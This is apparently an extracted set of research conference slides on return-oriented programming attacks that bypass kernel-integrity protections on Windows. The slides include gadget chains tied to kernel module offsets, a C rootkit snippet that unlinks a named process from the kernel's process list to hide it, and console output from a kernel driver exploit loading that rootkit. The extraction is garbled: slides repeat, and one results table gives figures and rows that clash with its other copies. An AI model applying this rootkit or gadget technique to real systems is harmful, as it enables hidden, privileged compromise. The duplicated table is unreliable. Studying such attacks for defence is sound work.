Bypassing Kernel-Integrity Protection Mechanisms

Ralf Hund, Thorsten Holz, Felix Freiling
University of Mannheim
Integrity Protection

- Many systems to protect integrity of kernel
- Code signing, $W\oplus X$, NICKLE, SecVisor, ...
- Prohibit injection/execution of code
Integrity Protection

- Many systems to protect integrity of kernel
- Code signing, \( W \oplus X \), NICKLE, SecVisor, ...
- Prohibit injection/execution of code
- What if an attacker reuses existing kernel code of her choice?
Return-Oriented Programming

- Generalization of return-to-libc
  - Introduced by Shacham (CCS’07), extended by Buchanan et al. (CCS’08)

- Misuse the system stack to “re-use” existing code fragments (gadgets)

- Chain short useful instruction sequences that then return (opcodes 0xC3/0xC2)
Return-Oriented Programming

User address space
0x00000000
0x80000000

Kernel address space
0x00000000
0xffffffff
0xffffffff

Stack

Heap

A
B
C

ESP

instruction a

ret

gadget 1

B

instruction b

ret

C

instruction c

ret

gadget 2

A

instruction a

ret
Return-Oriented Programming

mov eax, [eax]
ret

pop ecx
ret

mov edx, [ecx-0x4]
ret

pop eax
ret

mov [ecx], eax
ret

and eax, edx
ret

mov edx, [ecx-0x4]
pop eax
mov edx, [ecx-0x4]
pop eax
mov eax, [eax]
and eax, edx
pop ecx
mov [ecx], eax

'And' gadget:

pop ecx
mov edx, [ecx-0x4]
pop eax
mov eax, [eax]
and eax, edx
pop ecx
mov [ecx], eax

| R: ntkrnlpa.exe:0006373C |
| L: <RightSourceAddress>+4 |
| R: vmx_fb.dll:00017CBD |
| R: ntkrnlpa.exe:000436AE |
| L: <LeftSourceAddress> |
| R: win32k.sys:000065D1 |
| R: win32k.sys:000ADAE6 |
| R: ntkrnlpa.exe:0006373C |
| L: <DestinationAddress> |
| R: win32k.sys:0000F0AC |
Return-Oriented Programming

User address space

Kernel address space

Stack

Heap

ESP

instruction a

ret

instruction b

ret

instruction c

ret

gadget 1

gadget 2

Automating RO-Programming

Useful Instructions

Gadgets

Constructor

Source Code

Compiler

Return-oriented Program

Loader

Kernel address space

exploit

ntoskrnl.exe

hal.dll

win32k.sys

ntfs.sys

0x80000000

0xFFFFF000
Results

<table>
<thead>
<tr>
<th>Machine configuration</th>
<th># ret inst.</th>
<th># trie leaves</th>
<th># ret inst. (res)</th>
<th># trie leaves (res)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Native / XP SP2</td>
<td>118,154</td>
<td>148,916</td>
<td>22,398</td>
<td>25,968</td>
</tr>
<tr>
<td>Native / XP SP3</td>
<td>95,809</td>
<td>119,533</td>
<td>22,076</td>
<td>25,768</td>
</tr>
<tr>
<td>VMware / XP SP3</td>
<td>58,933</td>
<td>67,837</td>
<td>22,076</td>
<td>25,768</td>
</tr>
<tr>
<td>VMware / 2003 Server SP2</td>
<td>61,080</td>
<td>70,957</td>
<td>23,181</td>
<td>26,399</td>
</tr>
<tr>
<td>Native / Vista SP1</td>
<td>181,138</td>
<td>234,685</td>
<td>30,922</td>
<td>36,308</td>
</tr>
<tr>
<td>Bootcamp / Vista SP1</td>
<td>177,778</td>
<td>225,551</td>
<td>30,922</td>
<td>36,308</td>
</tr>
</tbody>
</table>
Results

<table>
<thead>
<tr>
<th>Machine configuration</th>
<th># ret inst.</th>
<th># trie leaves</th>
<th># Ret Inst. (res)</th>
<th># trie leaves (res)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Native / XP SP2</td>
<td>118,154</td>
<td>148,916</td>
<td>22,398</td>
<td>25,968</td>
</tr>
<tr>
<td>Native / XP SP3</td>
<td>95,809</td>
<td>119,533</td>
<td>22,076</td>
<td>25,768</td>
</tr>
<tr>
<td>VMware / XP SP3</td>
<td>58,933</td>
<td>67,837</td>
<td>22,076</td>
<td>25,768</td>
</tr>
<tr>
<td>VMware / 2003 Server SP2</td>
<td>229,138</td>
<td>710,570</td>
<td>23,141</td>
<td>26,399</td>
</tr>
<tr>
<td>Native / Vista SP1</td>
<td>61,080</td>
<td>70,957</td>
<td>23,141</td>
<td>26,399</td>
</tr>
<tr>
<td>Bootcamp / Vista SP1</td>
<td>181,138</td>
<td>254,065</td>
<td>50,922</td>
<td>36,308</td>
</tr>
<tr>
<td></td>
<td>177,778</td>
<td>229,583</td>
<td>50,922</td>
<td>36,308</td>
</tr>
</tbody>
</table>

Listing 1. Example of two gadgets constructed on different machines running Windows XP SP3.

```
...mov ecx, eax| R: ntkrnlp.exe:0006373C
...pop ecx     | R: ntkrnlp.exe:000436AE
...mov edx, [ecx-0x4]| R: vmm_fb.dll:00017CBD
...pop eax     | L: <RightSourceAddress>+4
...mov eax, [eax]| R: win32k.sys:000065D1
...and eax, edx| R: win32k.sys:000ADAE6
...pop ecx     | L: <LeftSourceAddress>
...mov [ecx], eax| R: ntkrnlp.exe:0006373C
...mov [ecx], eax| R: win32k.sys:0000F0AC
```
Results

<table>
<thead>
<tr>
<th>Machine configuration</th>
<th># ret inst.</th>
<th># trie leaves</th>
<th># ret inst. (res)</th>
<th># trie leaves (res)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Native / XP SP2</td>
<td>118,154</td>
<td>148,916</td>
<td>22,398</td>
<td>25,968</td>
</tr>
<tr>
<td>Native / XP SP3</td>
<td>95,809</td>
<td>119,533</td>
<td>22,076</td>
<td>25,768</td>
</tr>
<tr>
<td>VMware / XP SP3</td>
<td>58,933</td>
<td>67,837</td>
<td>22,076</td>
<td>25,768</td>
</tr>
<tr>
<td>VMware / 2003 Server SP2</td>
<td>61,080</td>
<td>70,957</td>
<td>23,181</td>
<td>26,399</td>
</tr>
<tr>
<td>Native / Vista SP1</td>
<td>181,138</td>
<td>234,685</td>
<td>30,922</td>
<td>36,308</td>
</tr>
<tr>
<td>Bootcamp / Vista SP1</td>
<td>177,778</td>
<td>225,551</td>
<td>30,922</td>
<td>36,308</td>
</tr>
</tbody>
</table>

On all tested platforms, enough gadgets could be constructed to implement arbitrary programs.
RO Rootkit

```c
int ListStart = &CurrentProcess->process_list.Flink;
int ListCurrent = *ListStart;
while (ListCurrent != ListStart) {
    struct EPROCESS *NextProcess = ListCurrent - ListStartOffset;
    if (RtlCompareMemory(NextProcess->ImageName, "Ghost.exe", 9) == 9) {
        break;
    }
    ListCurrent = *ListCurrent;
}

if (ListCurrent != ListStart) {
    // process found, do some pointer magic
    struct EPROCESS *GhostProcess = ListCurrent - ListStartOffset;
    // Current->Blink->Flink = Current->Flink
    GhostProcess->process_list.Blink->Flink = GhostProcess->process_list.Flink;
    // Current->Flink->Blink = Current->Blink
    GhostProcess->process_list.Flink->Blink = GhostProcess->process_list.Blink;
    // Current->Flink = Current->Blink = Current
    GhostProcess->process_list.Flink = ListCurrent;
    GhostProcess->process_list.Blink = ListCurrent;
}
```
RO Rootkit

C:\Rootkit\Exploit.exe
- vulnerable kernel driver exploit v1.0
- loading rootkit code
- loading code (base = 00F30000, size = 00005F5C, pages = 6)
- loading rootkit loader code
- loading code (base = 00F76200, size = 00010000, pages = 1)
- exploit will be executed from 00100054
- creating relative vector area (base = 00185108)
- creating file handle from \V\Vulnerable'
- generating exploit code, buffer address = 0012F04C
- virtualbllock(00100000, 00001000) returned 1
- executing exploit
- cleaning up
Press any key to continue . . .

C:\Rootkit\Ghost.exe
- 00.01.02.03.04.05.06.07.08.09
- 10.11.12.13.14.15.16.17.18.19
- 20.21.22.23.24.25.26.27.28.29
- 30.31.32.33.34.35.36.37.38.39
- 40.41.42.43.44.45

Windows Task Manager:
- Applications
- Processes
- Performance
- Networking
- Users

<table>
<thead>
<tr>
<th>Image Name</th>
<th>User Name</th>
<th>CPU</th>
<th>Mem Usage</th>
</tr>
</thead>
<tbody>
<tr>
<td>cmd.exe</td>
<td>Local Service</td>
<td>00</td>
<td>3,512 K</td>
</tr>
<tr>
<td>cmd.exe</td>
<td>Johnny</td>
<td>00</td>
<td>2,352 K</td>
</tr>
<tr>
<td>cmd.exe</td>
<td>Johnny</td>
<td>00</td>
<td>2,768 K</td>
</tr>
<tr>
<td>csrss.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>4,036 K</td>
</tr>
<tr>
<td>cfmon.exe</td>
<td>Johnny</td>
<td>00</td>
<td>3,576 K</td>
</tr>
<tr>
<td>Exploit.exe</td>
<td>Johnny</td>
<td>00</td>
<td>1,244 K</td>
</tr>
<tr>
<td>explorer.exe</td>
<td>Johnny</td>
<td>00</td>
<td>24,556 K</td>
</tr>
<tr>
<td>lsass.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>1,292 K</td>
</tr>
<tr>
<td>services.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>3,284 K</td>
</tr>
<tr>
<td>smss.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>368 K</td>
</tr>
<tr>
<td>spoolsv.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>5,416 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>4,316 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>NETWORK SERVICE</td>
<td>00</td>
<td>4,144 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>19,988 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>NETWORK SERVICE</td>
<td>00</td>
<td>3,396 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>LOCAL SERVICE</td>
<td>00</td>
<td>4,468 K</td>
</tr>
<tr>
<td>System</td>
<td>SYSTEM</td>
<td>00</td>
<td>236 K</td>
</tr>
<tr>
<td>System Idle Process</td>
<td>SYSTEM</td>
<td>99</td>
<td>28 K</td>
</tr>
<tr>
<td>taskng.exe</td>
<td>Johnny</td>
<td>00</td>
<td>2,324 K</td>
</tr>
<tr>
<td>TSVCache.exe</td>
<td>Johnny</td>
<td>00</td>
<td>4,352 K</td>
</tr>
<tr>
<td>vmacthlp.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>2,540 K</td>
</tr>
<tr>
<td>VMwareService.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>4,316 K</td>
</tr>
<tr>
<td>VMwareTray.exe</td>
<td>Johnny</td>
<td>00</td>
<td>3,408 K</td>
</tr>
<tr>
<td>VMwareUser.exe</td>
<td>Johnny</td>
<td>00</td>
<td>6,128 K</td>
</tr>
<tr>
<td>winlogon.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>1,968 K</td>
</tr>
</tbody>
</table>

Processes: 25  CPU Usage: 0%  Commit Charge: 95492K / 6314K

End Process
RO Rootkit